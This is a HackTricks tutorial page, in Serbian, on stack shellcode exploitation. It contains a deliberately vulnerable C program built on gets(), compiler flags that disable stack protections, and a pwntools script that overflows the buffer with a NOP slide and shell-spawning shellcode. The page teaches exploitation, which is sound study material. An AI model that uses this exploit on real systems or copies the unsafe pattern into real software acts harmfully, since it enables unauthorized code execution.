.. | ||
README.md | ||
stack-shellcode-arm64.md |
Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Stack shellcode je tehnika koja se koristi u binary exploitation gde napadač piše shellcode na stek ranjivog programa, a zatim menja Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa pwntools.
C Example: A Vulnerable Program
Hajde da počnemo sa jednostavnim primerom ranjivog C programa:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ovaj program je podložan prelivanju bafera zbog korišćenja gets()
funkcije.
Kompilacija
Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Onemogućava zaštitu steka.-z execstack
: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.-no-pie
: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se naš shellcode nalaziti.-m32
: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
Python Exploit using Pwntools
Evo kako možete napisati exploit u Python-u koristeći pwntools za izvođenje ret2shellcode napada:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ovaj skript konstruira payload koji se sastoji od NOP slide, shellcode, i zatim prepisuje EIP sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
NOP slide (asm('nop')
) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite p32()
argument na početnu adresu vašeg bafera plus offset da biste sleteli u NOP slide.
Zaštite
- ASLR treba da bude onemogućen da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- Stack Canaries takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
- NX stack zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
Ostali Primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR sa leak-om steka, napiši shellcode i skoči na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.